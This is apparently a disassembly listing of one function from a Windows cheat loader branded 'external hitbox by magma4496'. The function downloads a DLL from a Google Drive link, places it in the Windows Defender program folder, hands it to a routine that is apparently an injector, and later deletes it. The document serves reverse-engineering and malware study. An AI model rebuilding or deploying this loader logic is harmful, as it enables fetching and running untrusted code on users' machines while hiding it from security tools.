Function at 0x140001600
Capabilities:
Delete file

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x37]
sub rsp, 0xd0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x27], rax
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rdi, rax
lea rdx, [rbp - 9]
mov rcx, rax
call qword [sym.imp.USER32.dll_GetWindowRect]
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [rbp - 9]
sub ecx, dword [rbp - 1]
add eax, ecx
cdq
sub eax, edx
sar eax, 1
mov ebx, eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov ecx, dword [rbp - 5]
sub ecx, dword [rbp + 3]
add eax, ecx
cdq
sub eax, edx
sar eax, 1
mov dword [rsp + 0x30], 5
xor r14d, r14d
mov dword [rsp + 0x28], r14d
mov dword [rsp + 0x20], r14d
mov r9d, eax
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call qword [sym.imp.USER32.dll_SetWindowPos]
lea rdx, str.external_hitbox_by_magma4496
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [0x140004704]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
movabs r15, 0x7ffffffffffffffe
movabs r12, 0x7fffffffffffffff
mov r13d, 0xa
nop dword [rax]
lea rdx, [0x140004708]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [0x140004740]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
lea rdx, [rbp - 0x59]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call fcn.140001f70
movsx ebx, byte [rbp - 0x59]
lea rdx, [0x140004704]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_locale_l1_1_0.dll_setlocale]
cmp bx, 0x31
jne 0x140001992
lea rdx, [0x140004778]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
lea rdx, [rbp - 0x31]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_istream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64____ptr64]
lea rdx, str.https:__drive.usercontent.google.com_u_0_uc_id1viJg7g1psgSIPVOtZc1DlLtZl1zgVYVPexportdownload
lea rcx, [rbp + 7]
call fcn.140001ba0
nop
lea rdx, str.C:Program_FilesWindows_Defenderen_USMagmaTest.dll
lea rcx, [rbp - 0x51]
call fcn.140001ba0
nop
lea rdx, [rbp - 0x51]
lea rcx, [rbp + 7]
call fcn.1400013b0
test al, al
je 0x1400018d4
xorps xmm0, xmm0
movups xmmword [rbp - 0x29], xmm0
mov qword [rbp - 0x19], r14
mov qword [rbp - 0x11], r14
lea rsi, [rbp - 0x51]
cmp qword [rbp - 0x39], 7
cmova rsi, qword [rbp - 0x51]
mov rdi, qword [rbp - 0x41]
cmp rdi, r15
ja 0x140001b11
cmp rdi, 7
ja 0x1400017f6
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x11], 7
movups xmm0, xmmword [rsi]
movups xmmword [rbp - 0x29], xmm0
jmp 0x140001885
mov rbx, rdi
or rbx, 7
cmp rbx, r15
jbe 0x140001841
mov rbx, r15
lea rcx, [r12 + r12]
cmp rcx, 0x1000
jb 0x140001860
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140001b0b
mov rcx, rax
call fcn.140002090
mov rcx, rax
test rax, rax
je 0x140001b04
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x140001865
cmp rbx, 0xa
cmovb rbx, r13
lea rcx, [rbx + 1]
cmp rcx, r12
ja 0x140001b0b
add rcx, rcx
jne 0x140001809
mov rax, r14
jmp 0x140001865
call fcn.140002090
mov qword [rbp - 0x29], rax
mov qword [rbp - 0x19], rdi
mov qword [rbp - 0x11], rbx
lea r8, [rdi*2 + 2]
mov rdx, rsi
mov rcx, rax
call sub.VCRUNTIME140.dll_memcpy
nop
lea rdx, [rbp - 0x29]
mov ecx, dword [rbp - 0x31]
call fcn.1400011c0
nop
mov rdx, qword [rbp - 0x11]
cmp rdx, 7
jbe 0x1400018f8
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x29]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400018cd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b04
call fcn.1400020cc
jmp 0x1400018f8
lea rdx, [0x1400048f0]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x39]
cmp rdx, 7
jbe 0x140001938
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001933
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b17
call fcn.1400020cc
mov qword [rbp - 0x41], r14
mov qword [rbp - 0x39], 7
mov word [rbp - 0x51], r14w
mov rdx, qword [rbp + 0x1f]
cmp rdx, 7
jbe 0x1400016f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 7]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001988
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b1e
call fcn.1400020cc
jmp 0x1400016f0
cmp bx, 0x32
jne 0x140001adc
xorps xmm0, xmm0
movups xmmword [rbp - 0x51], xmm0
mov qword [rbp - 0x41], r14
mov qword [rbp - 0x39], r14
mov ecx, 0x70
call fcn.140002090
mov rcx, rax
mov qword [rbp - 0x51], rax
mov qword [rbp - 0x41], 0x35
mov qword [rbp - 0x39], 0x37
movaps xmm0, xmmword [str.C:Program_FilesWindows_Defenderen_USMagmaTest.dll]
movups xmmword [rax], xmm0
movaps xmm1, xmmword [0x140004890]
movups xmmword [rax + 0x10], xmm1
movaps xmm0, xmmword [0x1400048a0]
movups xmmword [rax + 0x20], xmm0
movaps xmm1, xmmword [0x1400048b0]
movups xmmword [rax + 0x30], xmm1
movaps xmm0, xmmword [0x1400048c0]
movups xmmword [rax + 0x40], xmm0
movaps xmm1, xmmword [0x1400048d0]
movups xmmword [rax + 0x50], xmm1
movsd xmm0, qword [0x1400048e0]
movsd qword [rax + 0x60], xmm0
movzx eax, word [0x1400048e8]
mov word [rcx + 0x68], ax
mov word [rcx + 0x6a], r14w
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
je 0x140001a3d
lea rdx, str.DLL__.
jmp 0x140001a7a
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
lea rdx, str.Error_deleting_file:
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
call fcn.140001d50
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
lea rdx, [0x140004958]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
lea rdx, [0x140001f30]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
nop
mov rdx, qword [rbp - 0x39]
cmp rdx, 7
jbe 0x1400016f0
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x51]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140001ad2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140001b25
call fcn.1400020cc
jmp 0x1400016f0
lea rdx, [0x140004990]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
call fcn.140001d50
mov rcx, rax
lea rdx, [0x140001f30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64___cdecl_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t__::operator___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64____cdecl___class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t______ptr64_____ptr64]
jmp 0x1400016f0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001100
int3
call fcn.1400011a0
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3